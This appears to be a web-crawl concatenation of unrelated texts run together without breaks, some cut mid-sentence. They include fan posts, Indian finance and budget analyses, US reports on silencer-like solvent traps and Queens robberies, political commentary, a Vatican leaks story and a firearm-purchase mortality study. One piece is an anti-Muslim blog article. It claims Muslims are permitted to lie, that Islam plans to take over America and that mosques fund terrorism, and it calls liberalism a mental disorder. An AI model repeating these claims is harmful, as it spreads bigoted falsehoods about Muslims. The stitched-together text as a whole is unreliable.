That said the monks themselves do enjoy the occasional bit of quality control.
"After all, even monks like the occasional tipple," Fr Peterburs added.Good to see the return of info on artist pages in the form of factboxes, however this information is clearly being lifted from elsewhere, rather than the bios.
On the one hand, I can see why this could be a good thing, but I think there needs to be a distinction added so it is the "years active" listed on the main profile page, while the age (also interesting/useful fact) could be listed under the expanded Biography page. Having the "years active" info listed on the main page also creates a unified piece of info for all pages, as (for example) bands and groups aren't born, per se.
I think it would make sense to rely more on user-submitted wiki info, as the fans generally know this information the best (using BBCode mark-ups), and wherever you are currently sourcing the data from has a lot of holes in its directory.I commissioned this piece from @laikaken.
This piece originated as an idea between @itsnotkristoff and I, about how many of the official artwork of Frozen is posed in the same type of stiff or posed style and, even in unofficial artwork, there is a severe lack of bad-ass-er-y. Then the idea of Anna smashing Hans in the face with a lute popped up between us, and I couldn’t shake the idea.
After ten minutes of mulling it over, I starting screaming; “I KNOW WHO CAN DO THIS!” on repeat, and I assaulted @laikaken with a barrage of messages, to which she weathered like a trooper and calmed me down enough to stop my begging to remind me that she has commissions. And viola - this beautiful artwork was born.
Thank you, Laika. This piece is stunning, and I adore it.Flashback-Organizer Of Women’s March, Linda Sarsour To Rachel Maddow: ‘Muslim Children Are Executed In The U.S.’ (VIDEO)
Linda Sarsour was one of the organizers for the Women’s March in D.C. that took place on Saturday after Trump’s inauguration. TGP reported here on her pro-Sharia law stance and her ties to the terrorist organization, Hamas.
TGP also reported on a photo of Linda Sarsour flashing the ISIS sign which was circulating social media.
In February of 2015, Linda Sarsour appeared on MSNBC’s Rachel Maddow’s show. They discussed Muslim communities in America where she claimed that Muslim children were being executed in America and complained that 22 States have passed anti-Sharia bills.
Sarsour: “Our government operates massive surveillance program, unwarranted surveillance in Muslim communities, chilling free speech, making people afraid….we come to the U.S., 22 States with anti-Sharia bills trying to ban us from practicing our faith, mosque oppositions…we’re fighting boards…you know zoning boards across the country, our kids are hearing this rhetoric, we have mosques being vandalized, kids being executed, Islamophobia, leaders on national television saying that there’s Holy Wars, that these people want to take over America…
Since it is permitted for Muslims to lie to non-Muslims in order to advance Islam, allow me to refute Sarsour’s lies…
The FBI has surveillance programs to keep an eye on the Muslim communities because they have evidence of Mosques funding and facilitating terrorism. This surveillance has led to many arrests, ultimately saving American lives. Foolishly, in 2014, this surveillance was scaled back by the New York Police Department after a lawsuit was filed. Subsequently, New York was bombed by a Muslim terrorist. I have no doubt that the bombing in Chelsea in September of 2016 could have been prevented with proper surveillance.
Sarsour’s claim that Mosques are being opposed is ridiculous. Thousands of Mosques and Islamic centers have been built in the U.S. since 9/11. The only reason why Muslims are fighting zoning boards is because they deliberately purchase pieces of land in ‘residential zoning’ then attempt to build Mosques on them. They then sue the city to have the land re-zoned as commercial or mixed use crying religious discrimination. The residents of the city end up paying out millions of dollars in lawsuit settlements only to have their communities Islamisized with giants Mosques. Read more about zoning and legal jihad here and here.
The only Muslim kids who are being executed in America are by ‘honor killings’ done by Muslims. This claim that the U.S. is killing Muslim children is egregious. In fact, over 90% of refugees in the U.S. are on welfare and food stamps paid for by taxpayers. We are feeding and housing Muslim children, not killing them. I would love for Linda Sarsour to tell me which Islamic nation extends this type of welfare and treatment to Christians or Jews.
Islam is trying to take over the U.S. and it is no secret. Watch Brigitte Gabriel of ACT For America explain the Muslim Brotherhood’s plan to take over the U.S. here.
It is also interesting that Linda Sarsour was complaining that 22 States passed anti-Sharia bills while sitting across from Rachel Maddow who is a lesbian. These anti-Sharia bills actually shield homosexuals from the death penalty as it is a crime, punishable by death under Sharia law.
The mental disorder of liberalism was on full display as Rachel Maddow supported pro-Sharia law, Linda Sarsour while being ‘spooked’ by the anti-Islam bigotry in the U.S.
Head of the #WomensMarch, Palestinian L. Sansour is mad that 22 states don’t allow Sharia Law and says Muslim children are executed in U.S. pic.twitter.com/zh7doTD8p7 — Zvi Lando (@zlando) January 23, 2017The home loan lender HDFC in its latest investor presentation says that homes have seen an “improved affordability”. This goes against everything that one sees in the real estate sector these days, where prices have gone so high that most people wanting to buy a home to live in, can't.
So how did HDFC manage to come to such a conclusion? Allow me to explain.
In the graph above, HDFC points out that homes are more affordable than they have been at any point of time in the last ten years. It defines affordability as property prices divided by annual income. This number for 2015 comes in at 4.4. In 2014 it was at 4.6. In 2013 it was at 4.7. The last time the affordability number was lower than 4.4 was in 2004, when the number was at 4.3. Hence, homes are now more affordable than they were in the last ten years.
So far so good. What does affordability of 4.4 really mean? It means that the property values in 2015 were 4.4 times the annual income. The average annual income considered by the company is around Rs 12 lakh. And the average property value considered by the company is around Rs 52 lakh. Hence, while the property prices have been going up, so have incomes – hence housing has become more affordable. QED.
Of course, something is not 'quite' right about this calculation. But before we get into that, let me recount a war story here. During the course of the Second World War, the British Royal Air Force (RAF) wanted to protect its planes from the German anti-aircraft guns and fighter planes. In order to do that it wanted to attach heavy plating to its airplanes.
The trouble was that the plates that were to be attached were heavy and hence, they had to be strategically attached at points where bullets from the Germans were most likely to hit. Historical data on where exactly the German bullets hit the RAF planes was available. As Jordan Ellenberg writes in How Not to Be Wrong: The Hidden Maths of Everyday Life: “The damage[of the bullets] wasn't uniformly distributed across the aircraft. There were more bullet holes in the fuselage, not so many in the engines.”
If the data were to be interpreted in a straightforward manner, it would mean plating the area around the fuselage because that was what got hit the most. Nevertheless, the German bullets should also have been also hitting the engine because the engine “is a point of total vulnerability”.
A statistician named Abraham Wald realised this anomaly. As Ellenberg writes: 'The armour, said Wald, doesn't go where bullet holes are. It goes where bullet holes aren't: on the engines. Wald's insight was simply to ask: where are the missing holes? The ones that would have been all over the engine casing, if the damage had been spread equally all over the plane. The missing bullet holes were on the missing planes. The reason planes were coming back with fewer hits to the engine is that planes that got hit in the engine weren't coming back.” They simply crashed.
Another example that can be considered here is of people in a recovery room in a hospital. There will be more people with bullet holes in legs in comparison to people with bullet holes in chests. This in no way means that people don't get hit in chests. They sure do. It's just that people who get hit in the chest don't recover.
As Gary Smith writes in Standard Deviations: Flawed Assumptions Tortured Data and Other Ways to Lie With Statistics: 'Wald...had the insight to recognize that these data suffered from survivor bias...Instead of reinforcing the locations with the most holes, they should reinforce the locations with no holes.' Wald's recommendations were implemented and ended up saving many planes which would have otherwise gone down.
But why are we discussing wars and hospitals, when we started of with HDFC. The data used by HDFC to arrive at the conclusion of “improved affordability” also suffers from survivor bias. Allow me to explain.
When HDFC considers an average home price of around Rs 52 lakh and an average income of around Rs 12 lakh, it is possibly referring to a set of people who have approached HDFC for a home loan and bought one. In short, it is referring to a sample that it has ready access to. But the people approaching HDFC are possibly those who can still afford to buy a home. And they can do that primarily because their incomes have kept pace with the rise in home prices.
Nevertheless, what about all those people out there who want to a buy a home to live in, but can simply not afford it. Their incomes are simply not high enough and haven't kept pace with rising home prices. These people possibly do not form a part of HDFC's sample. And hence, the data suffers from a survivor bias. Given this, the conclusion of “improved affordability” is essentially wrong.
There are other points that can be made against the “improved affordability” argument. If the affordability has improved why are there so many unsold homes all over India? Reports put out by real estate consultants regularly point out to the huge number of unsold homes all over India. (You can read about it here and here).
Further, if the affordability has improved why is there such a huge shortage of homes in urban areas. As the latest Economic Survey points out: “The widening gap between demand and supply of housing units and affordable housing finance solutions is a major policy concern for India. At present urban housing shortage is 18.8 million units of which 95.6 per cent is in economically weaker sections (EWS) / low income group (LIG) segments and requires huge financial investment to overcome.” Obviously, HDFC does not cater to this group.
To conclude, it is worth remembering here what American writer Upton Sinclair once said: “It is difficult to get a man to understand something, when his salary depends on his not understanding it.” HDFC is in the business of giving out home loans and it would like to think that “all is well,” with the real estate sector and homes are affordable, but that is really not the case.
HDFC as a company has been doing well. In fact, in the last one year its loan book grew by 20%. Having said that, it is in the business of giving out home loans and it would like to think that “all is well,” with the real estate sector and homes are affordable, but that is really not the case.
(Vivek Kaul is the author of the Easy Money trilogy. He tweets @kaul_vivek)
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.The ATF Is Shutting Down Businesses It Says Are Hawking Silencers Disguised as Cleaning Tools Sellers of "solvent traps" were pushing the legal envelope. The bureau noticed.
A GSG-5 rifle equipped with a solvent trap sold by Solvent Trap Etc. a business shuttered by the ATF earlier this year. [Solvent Trap Etc. Facebook]
Utah firearms dealer Jeffrey Luck knows his customers are frustrated when they hear it takes $200, and as long as nine months, to process a federal application to buy a firearms silencer. But the law is the law, and as the licensed owner of Darkside Tactical, Luck says he stays on the right side of it.
So imagine Luck’s annoyance when he learned earlier this year that an unlicensed business had popped up on the Internet using a name almost identical to his — Darkside Defense — and that it was selling a device often used as an illegal substitution for a silencer.
Dubbed “solvent traps,” the devices are cylinders — typically made of metal — that can be attached to the barrel of a gun for the supposed purpose of catching cleaning fluids. But if one is left on a firearm and the weapon is fired, the device dampens the noise produced by the gunshot, mimicking the function of a silencer. Luck thinks the devices are almost never used as anything but silencers, and many experts agree with him.
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“It’s frustrating for those of us who are actually in the industry when some fringe element pops up and tries to skirt the rules,” Luck said.
Luck said he sent the owner of Darkside Defense multiple letters demanding that he stop using a name that could so easily confuse customers and harm his own reputation. He didn’t hear back. Later, he learned that federal agents had resolved the matter for him: In February, the Bureau of Alcohol, Tobacco, Firearms and Explosives seized Darkside Defense’s website, citing its sale of solvent traps.
A posting on the agency’s website describing the closure of Darkside Defense said that it had “determined that these ‘solvent traps’ are, in fact, silencers …” and that “it is a violation of the National Firearms Act to manufacture, receive, transport, or deliver a silencer that has not been registered.”
The bust is one of several enforcement actions carried out by the agency targeting websites that sell the devices. In another case, SD Tactical Arms of Prescott, Arizona, said on Facebook that the ATF forced it to stop selling solvent traps, which the store said accounted for “99 percent” of its income. In a third case, Solvent Traps Etc. in Winter Haven, Florida, also posted on its Facebook page that ATF had shut it down for selling solvent traps.
The ATF declined comment on any of the cases because they are ongoing.
The Trace could not find a working number for the owner of Darkside Defense. The owners of SD Tactical Arms and Solvent Traps Etc. could not be reached for comment.
The solvent trap controversy comes against the backdrop of a national debate over how silencers should be regulated. At present, silencers fall under the National Firearms Act. An individual wishing to own one must fill out a special application with the ATF, pass a background check, submit fingerprints, and pay a $200 tax. It can take months for the ATF to process an application. Once a buyer is cleared to own a silencer, the device must be registered with the ATF.
But that could soon change. Under a bill introduced to Congress in January, people would be allowed to purchase silencers like they do any firearm at a licensed dealer: with only a background check. The $200 tax would be eliminated.
Supporters of the bill, called the Hearing Protection Act, say silencers are a tool to protect the ears of gun owners and make the shooting experience more enjoyable. In a document leaked earlier this year, the ATF’s deputy director, Ronald Turk, suggested that the agency consider loosening restrictions on silencers, noting that few crimes are committed using the devices and processing so many applications puts a strain on the agency.
Opponents of relaxing restrictions on silencers argue that earplugs are a more effective protection, and that if silencers get into the hands of criminals, those criminals could shoot victims without alerting others nearby or drawing the attention of law enforcement.
Even though they are difficult to obtain, silencers have become one of the fastest-growing segments of the gun industry. In 2010, there were 285,087 registered silencers. Last year that figure was 902,085.
According to an ATF spokeswoman, solvent traps are not illegal. But if a trap has parts that the ATF deems are “intended” to make the device function as a silencer, it must be identified as such, and appropriately regulated.
According one law enforcement source, some of the confusion about solvent traps comes from the word “intended” in that definition, also in the written definition on the ATF website, since it forced the ATF to venture into the murky territory of deciding not just what the item is, but how its owner plans to use it.
Several law enforcement experts interviewed said solvent traps are designed to get around rules on silencers. They said there’s no need to attach a metal cylinder to the end of a gun barrel to catch solvent when it’s just as easy to hold it over a pan or a garbage can.
Not everyone agrees. Steven Howard, a Michigan-based firearms expert often called to testify at criminal and civil trials, said there are plenty of people who legitimately use solvent traps to catch their solvent, which can spray in all directions and stain whatever it lands on if it’s not contained.
He agreed that many solvent traps can be used as silencers, but said so can many things: a potato, a soda can, or a flashlight.
“If a bad guy wants a silencer he’s going to make one,” he said. “This is just feel good work for the ATF to say ‘Look what we’ve done. We’ve made you safer.’”
Jerold Levine, a Long Island lawyer who often represents people charged with gun crimes, said buying a solvent trap may save someone $200, but at risk of a lengthy prison term.
“I would advise a gun owner never to possess or sell such items, precisely because of the reaction ATF is having,” he said.
An ATF internal newsletter discussed the case against Darkside Defense, focusing on the fact that the agency seized its website, a novel technique for agents.
The article said the ATF searched the source code of the website itself — a technique it compared to running a background check for a website — and discovered that the proprietor had included terms like “silencer” and “suppressor” in the metadata. That means that if a person typed the keywords in a search engine, Darkside Defense’s website had a better chance of appearing in the results, the internal newsletter said.
Agents also mined social media and executed search warrants on e-mail accounts and IP addresses to figure out who had bought the solvent traps from Darkside Defense, the newsletter said. Some of the devices ended up in the hands of people who are prohibited from possessing firearms, the newsletter said.ELMHURST — A pair of robbers have beaten, stabbed and punched a series of victims in at least nine separate incidents since January, police said.
The suspects, described as between 17 and 21-year-old and between 5'9" and 6'1", have taken cellphones, jackets, sneakers and hundreds of dollars from victims across Elmhurst.
They violently robbed people in the following attacks:
► On Saturday, Jan. 28 at approximately 1:05 a.m., they approached a 49-year-old man in front of 91-31 Lamont Ave. and took his cell phone and $430 from his pockets before fleeing on foot.
► Five minutes later, near Gleane Street and Elmhurst Avenue, they threatened to shoot a 19-year-old victim and took his wallet, cellphone and $100 from his pockets, police said.
► At 3:30 a.m. on Jan. 28, near 43rd Avenue and Elbertson Street, they pushed a 26-year-old man, kicked him several times in his back and took his cellphone and $20 from his pockets, police said. They also took his sneakers and jacket before fleeing on 43rd Avenue. The victim was taken to Elmhurst Hospital in stable condition after the attack.
► At 5 a.m. that day, near Elmhurst Avenue and Elbertson Street, they approached a 38-year-old man, punched him, took his cellphone, $200 in cash and other items from his pockets.
► On Sunday, Feb. 5, at approximately 10:10 p.m. near Elmhurst Avenue and Ithaca Street, two men pushed a 27-year-old man to the ground, put a knife to his neck and took his cellphone and wallet, police said. They fled northbound on Ithaca Street.
► On Wednesday, Feb. 8 at 2:45 p.m. near Whitney Avenue and Forley Street, two men punched a 29-year-old man in the face, knocking him to the ground, then took $120, his wallet and cellphone, police said. They also stabbed him in the side of his arm. The victim was taken to Elmhurst Hospital.
► On Friday, Feb. 10 at 10 p.m., in front of 74-02 42rd Ave., the two men pushed and punched a 41-year-old man and took $140 and his cellphone from his pockets, police said.
► Ten minutes later, in front of 87-42 Elmhurst Ave., two men grabbed a 30-year-old man, put him in a headlock, and took $740 and his cellphone from his pockets and fled.
► On Saturday, Feb. 18 at 12:55 p.m. in front of 44-40 Denman St., the two men punched a 28-year-old man in the face, took $315 and his cellphone and fled, police said.
If you have information about the incidents, please call the NYPD's Crime Stoppers Hotline at 800-577-TIPS or for Spanish 1-888-57-PISTA (74782).Eleanor Holmes Norton has been the District of Columbia’s tireless advocate since she became its nonvoting member in Congress 24 years ago. She fights back with fiery floor speeches and interviews when her colleagues overide D.C. laws they disagree with. She’s repeatedly proposed measures to finally grant D.C. full statehood or at least to allow her vote to count in the House. She’s met with failure every time.
Maybe, as she begins her 13th term in a body with a chronic lack of interest that borders on contempt for her and her constituents, Norton simply does not care anymore. Evidence to that effect, at least, has emerged via tipsters who sent the Roll Call gossip blog a video (above) shot from an office overlooking a row of angled cars on Capitol Hill. It shows Norton attempting to park her car while an aide tries lamely to guide her. The result is a car that is not parked as much as abandoned.
Norton and her aide walk away without leaving notes on the probably-damaged neighboring vehicles, though when contacted later by Roll Call, Norton’s staff claimed they’d gone out to look themselves and not seen any dents, but had left a card just to be sure.
“If she parks like that, she should not be a member of Congress any more,” says the anonymous office-dweller shooting the video. But maybe it was exactly her experience battling unfailing obstinacy in the House that led her to this. If you had to spend decades showing up to work only to be mockingly overruled in every possible instance, maybe you’d take out your frustration by casually rubbing your Ford C-Max back and forth against a fellow citizen’s red truck.Uttar Pradesh's massive budget outgo on salaries, pensions and debt servicing, which comes to around 54% of budget spending, makes it very difficult for the state government to find resources to spend on health, or anything else for that matter.After the tragic death of 60 infants in a government hospital in Gorakhpur, News18 looked at budget allocations of India's largest state to fathom why health expenditure was not getting the priority it deserves. The Baba Raghav Das Medical College Hospital in Gorakhpur owed Rs 60 lakh to the company that supplied it bottled oxygen, the Indian Express reported. Seven reminders in the past 6 months to pay up went unheeded.The first thing that catches the eye upon a breakdown of the numbers is that massive expenditure on the salaries and pensions of government employees and servicing debt. The Yogi Adityanath government presented a budget worth Rs 3.84 lakh crore for the fiscal year 2017-18 out of which around Rs 2.07 lakh crore, or 54% is spent on the above mentioned heads, according to a PRS Legislative Research analysis. In budgeting terms, these are considered to be essential, but unproductive expenditure since they do not create new social or economic assets.This means that Uttar Pradesh has only 46% of its stated budget to spend on everything else, including health. Remember, this is India's largest state with more than 200 million people. If it were a separate country, UP would be the fifth most populous in the world.To be fair, the Yogi government increased the health budget by 9% from a year ago. However, Akhilesh Yadav had slashed the health budget by a similar amount in his last year, so the increase this year merely brought it back to parity. This amounts to 1.2% of the state GDP, which is less than the national average.However, the big ticket item for UP this year is the farm loan waiver package. Yogi Adityanath allocated a whopping Rs 36,000 crore, the highest in the country. In fact, the Agriculture department budget saw an increase of 813% over last year on account of the package.Interestingly, Rs 3,255 crore, or half a billion dollars, was allocated for construction of toilets under the Swachh Bharat Abhiyan (rural). The Chief Minister in a speech yesterday exhorted people to maintain public hygiene and said that diseases like encephalitis were caused due to open defecation. The government also set a goal of making the state open defecation free by October 2018. So the question arises: What happened to the money allocated to build toilets?Budgeting is the art of choosing to allocate finite resources to unlimited wants. Medical and Public Health was allocated Rs 17,181 crore. However, the highlight of the health budget seems to be augmenting the 108 emergency service with 712 more ambulances.High interest in Dutch “white jersey” team from potential sponsors
The Rabobank team has already been in negotiations with “four or five” potential replacements for its name sponsor in 2013, and could be set to announce a new deal soon, wielerrevue.nl reports. The Dutch bank shocked the world of cycling on October 19th when it announced that it was pulling out of the sport, having sponsored the team since 1996. Two years ago the Dutch bank committed to the team through 2016, but cited the recent Lance Armstrong doping scandal as the final straw, and will walk away at the end of this year.
While it will no longer be called Rabobank from January 1st, 2013, contracts signed with the bank mean that there will be enough budget for the team to be able to run as a “white jersey” operation, in much the same was as Highroad did after the withdrawal of T-Mobile in 2007. The bank guarantee held with the International Cycling Union (UCI) also means that its place in the top level WorldTour is also virtually assured for next season.
Following the shock announcement however, the team’s management immediately began negotiating with potential replacements - the majority of whom are Dutch - Wieler Revue reports, with intensive conversations taking place with four or five of them.
“The companies see a team with an organisation that’s among the best in the world,” the team’s press officer explained. “Moreover there are a number of talents around their 26th year who are about to reap their ‘harvests’.”
While the Rabobank women’s team, led by World and Olympic champion Marianne Vos, is the one part of the outfit expected to survive - with Rabobank committing to supporting the 25-year-old all the way to the Rio de Janeiro Olympics of 2016, Plugge insists that - like Highroad again - nobody will be able to take on the men’s
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icans, making the explicit case that outreach can translate into wider support. He’s embracing issues that Republicans usually don’t dare touch, such as criminal-justice reform, drug decriminalization, and reining in government surveillance. And based on the early polls, he’s finding himself in solid shape, running competitively against Hillary Clinton and in the top tier of Republican presidential candidates. He even got some good luck, with Nevada’s legislature opting this week to maintain the state’s early caucuses (which benefits Paul) rather than switch to a primary system (that would favor Jeb Bush and Marco Rubio).
But if Paul wants to be president, he’s making a huge strategic mistake, one that’s puzzling some of his GOP allies. By railing against any government surveillance designed to target terrorists and suggesting that U.S. military intervention fueled the rise of ISIS, he’s badly alienating the vast majority of Republican voters who otherwise would give his campaign a long look. At a time when hawkish sentiment within the party is near historic highs and concern over terrorist threats is rising, Paul seems content to thumb his nose at erstwhile supporters—and limit his appeal to only his libertarian base.
Indeed, the rise of ISIS has badly hurt the political standing of libertarians who, like Paul, prioritized the importance of civil liberties over combating terrorism. In January 2015, Pew Research Center polling found that 57 percent of Republicans believe that antiterrorism policies “have not gone far enough to protect the US”—a jump of 19 points from July 2013, when a plurality took the opposite view. By smaller margins, a plurality of Democrats and independents also believe now that national security takes precedence over civil liberties.
That’s a huge shift in American public opinion in less than two years—and one that has been underappreciated by the relatively small libertarian wing of the Republican Party. Paul himself has struggled to adjust to the new political reality, veering between arguing pragmatically that overturning federal surveillance measures wouldn’t impact America’s security and sticking to principle by calling them unconstitutional. On foreign policy, he once portrayed his noninterventionist approach as more muscular (“I am not an isolationist”) before running aggressively against the hawks (“ISIS exists “¦ because of the hawks in our party”). His legislative blockage of the domestic spying programs was reminiscent of Ted Cruz’s strategy in filibustering towards a government shutdown, except Cruz’s maximalist position on the budget actually has a larger constituency within the Republican Party.
Paul is looking more eager to make enemies than allies lately. His comment on Morning Joe that Republican hawks were responsible for the rise of ISIS was a gratuitous shot that earned him the ire of many GOP rivals. Paul even suggested, on the Senate floor, that his opponents were secretly “rooting for” a terrorist attack so they could blame him—remarks he later walked back. Meanwhile, his procedural maneuvers delayed renewal of several key Patriot Act provisions, leaving himself open to criticism that he was endangering national security for political reasons. And in doing so, he shattered an alliance of convenience with Senate Majority Leader Mitch McConnell, who ostensibly is endorsing Paul’s campaign but hasn’t done much lately to help him out. Paul’s super PAC even released an over-the-top video that mocked sometime-allies like Ted Cruz in a provocative manner.
One senior Republican official, who was recruited to work on Paul’s presidential campaign, called the campaign so far a “disaster”—and viewed the candidate’s stubbornness against acquiescing to political realities as a major problem going forward.
That wasn’t part of Paul’s original plan. His alliance with McConnell was designed to prevent the very rifts that broke out so publicly this past week. McConnell benefited from the deal in securing tea-party support for his contentious Senate primary against Matt Bevin. McConnell kept the party united long enough to win reelection.
But for Paul to benefit from the deal, he needed the bargain to last longer into the year and to have some semblance of establishment support heading into the key primaries. That’s looking unlikely now. Paul decided it was worth breaking the alliance to scuttle legislation he’s railed against his whole senatorial career. That’s left him reliant on his base of core supporters, with a primary ceiling that will be hard to break. He’s made the calculation that it’s worth achieving a significant legislative accomplishment in exchange for a bracing political setback. “Senator Paul will follow the Constitution over any poll,” Paul’s spokesman told The Washington Post.
It’s understandable that Paul wouldn’t cave on the issue that’s defined his political career. It’s not dissimilar to Jeb Bush’s resistance to caving to conservative demands on Common Core and immigration reform.
But in the process, Paul is proving himself to be a lot closer politically to his father, Ron Paul, than most rank-and-file Republicans are comfortable with. And his libertarian, noninterventionist principles, while his party becomes increasingly hawkish, are costing him any shot he once had to win the GOP presidential nomination.By Philip Pullella
VATICAN CITY (Reuters) - Two members of a commission Pope Francis set up to study reforms, including a high-ranking Holy See official, have been arrested on suspicion of leaking confidential documents, the Vatican said on Monday.
It was one of the biggest internal scandals to hit Francis' papacy so far and was reminiscent of the "Vatileaks" furor that preceded the resignation of former Pope Benedict in 2013.
Spanish Monsignor Lucio Angel Vallejo Balda, number two at the Vatican's Prefecture for Economic Affairs, and Italian laywoman Francesca Chaouqui, a public relations expert, were arrested over the weekend, a Vatican statement said.
Vallejo Balda, 54, was believed to be the highest-ranking member of the Vatican's central bureaucracy, known as the Curia, ever to have been arrested.
Chaouqui, 33, whose sexy photo of herself on her Facebook page raised Vatican eyebrows when she was appointed to the commission in 2013, was released on Monday after she agreed to cooperate with the investigation, it said.
The Vatican said the leaks represented a "serious betrayal of the trust bestowed by the pope", without providing any details. There was no immediate comment from Vallejo Balda and Chaouqui, or their lawyers.
Both were members of a commission that Francis set up shortly after his election to advise him on economic and bureaucratic reforms in the Curia.
The committee completed its work last year and handed its report to the pope, who subsequently made some changes in Vatican administration, including the establishment of a new economic ministry.
The twin arrests came just days before two Italian authors were due to release books that their publishers say will reveal new evidence of scandals in the Vatican and alleged conspiracies by the old guard to undermine Francis' reform efforts.
SHADES OF "VATILEAKS"
They were the first such arrests since Paolo Gabriele, Benedict's butler, was arrested in 2012 for stealing documents from the pope's desk and leaking them.
Those leaks included letters to the pope from Vatican officials complaining to the former pope about alleged corruption in the Holy See.
One of the two books due to be released on Wednesday is "Merchants in the Temple", by Italian journalist Gianluigi Nuzzi, whose 2012 book "His Holiness", was based on the leaked documents he received from Gabriele.
Gabriele was convicted and served several months in the Vatican jail before Benedict pardoned him and he was released. He is now working in a Vatican-run hospital.
The other book, called "Avarice," is by Italian journalist Emiliano Fittipaldi.
The Vatican said its police had been investigating the disappearance of documents for the past few months.
The statement accused the two Italian authors of trying to reap advantages from receiving stolen documents, saying this was "a gravely illegal act".
Such books "generate confusing and partial, tendentious interpretations", the statement said. It added that the Vatican might ask Italian authorities to take unspecified action against the two authors.
It was the third time this year that the Vatican has had to deal with leaks.
In June, the pope's landmark encyclical on the environment was leaked before publication and last month a private letter from 13 conservative cardinals complaining about a meeting of bishops on family issues was published by an Italian magazine.
(Reporting by Philip Pullella; Editing by Crispian Balmer and Tom Heneghan)Although firearm mortality rates in the United States have decreased since 1993, firearms accounted for 28 663 deaths in 2000 and ranked 11th among all causes of death.1 Gun homicide rates have fallen dramatically in the last decade,2 but gun suicide rates have seen little change. In 2000 there were 16 586 gun suicides among persons age 21 and older, outnumbering the 10 801 gun homicides by 54%.1
Case-control studies find that gun availability increases risk of homicide,3–6 while one cohort study finds this to be true for women, but not for men.7 With one exception,8 studies of suicide have consistently shown that the risk of suicide increases when a firearm is available.3,5–7,9 The majority of these studies, however, inferred a passive exposure to a handgun (for example, a handgun present in the home). Little is known about the relationship between handgun purchase itself—the conscious decision to undergo a sustained close exposure to firearms—and subsequent risk of violent or firearm related mortality.
In a cohort study of handgun purchasers in California in 1991, the purchase of a handgun was associated with a substantial increase in risk of firearm suicide that was present within a week of purchase and persisted for at least six years.7 The continuing decline in overall rates of firearm related death since that study was conducted may have affected the association between handgun purchase and mortality. In addition, that earlier study left several important questions unanswered: Among those who die from gun violence, particularly suicide, what proportion have recently purchased a handgun? Are very recent handgun purchasers most likely to die from violence, especially firearm related violence?
To answer these questions, we performed a case-control study of all people age 21 and older who died in California in 1998. Our hypothesis was that people dying from violence, and especially firearm related violence, were more likely to have bought a handgun in the three years before their death than those who died from non-injury causes. We also hypothesized that those who died from violence were much more likely to have bought a handgun very recently—within one year of death—than were those who died from non-injury causes. We also compared the prevalence and ranking of deaths from violence and firearm related injury among handgun purchasers and non-purchasers.
METHODS California’s automated Death Statistical Master File contains information on all deaths that occur in the state. We used this file to identify all persons age 21 and older who died in California in 1998 (n=221 317). The file provided information on sex, age, race, marital status, years of education, date of birth, date of death, and cause of death (International Classification of Diseases, 9th revision, codes including four digit E codes).10 We used California’s state handgun purchase data from 1996–98 to identify handgun purchasers. The handgun purchase data contain records of all legal handgun purchases made from licensed California firearm retailers. Handgun sales between private parties would be included in these data if they were conducted legally, as California law requires all such sales to go through a licensed retailer. Any private sales or transfers not going through a licensed retailer would not appear in the purchase data. The mortality file was joined with the purchase data by matching on last name and date of birth. Apparent matches were manually reviewed and verified using additional data such as sex, place of birth, and middle name. Subjects in the mortality file with no match in the purchase data were considered not to have purchased a handgun within three years of death. We used a case-control study design, rather than a proportional mortality design, to enhance the validity of the study.11,12 As recommended by Rothman and Greenland11 and Miettinen and Wang,12 cases in such a design are persons who died from the causes of death that are being investigated. In selecting controls, it is then important to exclude persons for whose causes of death an association with the exposure of interest is “known, suspected, or merely plausible” (Rothman and Greenland, p 7711). In applying that principle to selecting controls for this study, we noted that firearm ownership generally,13 the ownership of semiautomatic and automatic firearms specifically,14 and carrying a firearm on one’s person15 are all associated with abusive consumption of alcohol. As alcohol abuse is one of the most important risk factors for death from unintentional injury, we considered it likely that handgun purchase is associated, though perhaps indirectly, with risk for an unintentional injury death. We therefore excluded from our control population persons who died from unintentional injuries, such as motor vehicle crashes and falls (n=7617). We also excluded persons who died from injuries of undetermined intent (n=185), legal intervention (n=47), and injuries resulting from operations of war (n=2). The main outcome measure for the study is the exposure odds ratio: the odds of having purchased a handgun before death among cases relative to controls. We used logistic regression to calculate odds ratios and 95% confidence intervals, which we adjusted for age, sex, race, education, and marital status. Age was treated as a categorical variable (table 1). We developed multiple models to compare subsets of our case population with the control group. These subsets included persons who died of any intentional violence, homicide, suicide, and unintentional firearm deaths. We stratified subsets related to violence by whether or not deaths were firearm related. The control population remained constant across all comparisons. Table 1 Characteristics of Californians age 21 and older who died in 1998; results are number (%)
RESULTS A total of 213 466 people age 21 and older who died in California in 1998 made up our study population: 4728 cases died from a violent or firearm related injury (2.2% of the study population), and 208 738 controls died from non-injury causes (97.8% of the study population) (table 1). The 1162 persons (0.5% of the study population) who were known to have purchased a handgun between 1996 and 1998 were considered to have sustained the exposure of interest. Men accounted for 79.3% of cases but only 48.8% of controls (table 1). Those who died from violent or firearm related injury were younger (mean age 44.6) than those who died from non-injury causes (mean age 74.7). There were much higher proportions of Hispanics and black people and a lower proportion of white people among cases compared with controls. There was little difference in educational history between the two groups, but those dying from violent or firearm related injury were more likely to be single or divorced, and less likely to be married or widowed, than were those dying from non-injury causes. Persons who died from intentional violence were more likely than those who died from non-injury causes to have purchased a handgun (odds ratio (OR) 5.7; 95% confidence interval (CI) 4.8 to 6.8) (table 2). This was also true for the subsets of cases dying from suicide (OR 6.8; 95% CI 5.7 to 8.1) and homicide (OR 2.4; 95% CI 1.6 to 3.7), and particularly for those dying from gun suicide (OR 12.5; 95% CI 10.4 to 15.0) or gun homicide (OR 3.3; 95% CI 2.1 to 5.3). No such difference was seen for cases dying from non-gun suicide or homicide. Table 2 Crude and adjusted odds ratios for handgun purchase within three years of death among Californians age 21 and older who died from selected injury causes in 1998, compared with persons who died from non-injury causes Very recent handgun purchase, defined as purchase within one year of death, was strongly associated with violent or firearm related injury death (table 3). This was again the case for both suicide (OR 12.5; 95% CI 10.0 to 15.6) and homicide (OR 3.9; 95% CI 2.2 to 6.8), and particularly gun suicide (OR 22.7; 95% CI 18.2 to 28.4) and gun homicide (OR 5.8; 95% CI 3.1 to 10.8). Table 3 Crude and adjusted odds ratios for handgun purchase within one year of death among Californians age 21 and older who died from selected injury causes in 1998, compared with persons who died from non-injury causes The association between handgun purchase and violent death was stronger among women than in the study population as a whole (table 4). In particular, women who died from gun suicide were much more likely to have purchased a handgun than women who died from non-injury causes (OR 109.8; 95% CI 61.6 to 195.7). Since 79.3% (3748 of 4728) of the cases were men, odds ratios for men were very similar to those for all 